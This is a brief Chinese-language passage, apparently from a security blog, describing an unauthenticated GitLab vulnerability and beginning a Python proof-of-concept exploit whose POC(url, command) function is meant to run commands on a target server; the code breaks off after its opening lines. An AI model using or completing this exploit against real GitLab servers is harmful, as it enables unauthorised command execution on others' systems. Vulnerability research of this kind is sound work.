简介
GitLab 是由GitLab Inc.开发的一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,可通过Web界面访问公开或私人项目。由于GitLab存在未授权的端点,导致该漏洞在无需进行身份验证的情况下即可进行利用。
漏洞利用
上工具
python3
poc
import sys
import requests
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
def POC(url, command):
session = requests.Session()
# proxies = {
# 'http': '127.0.0.1:8080',
# 'https': '127.0.0.1:8080'
# }
try:
r = session.get(url.s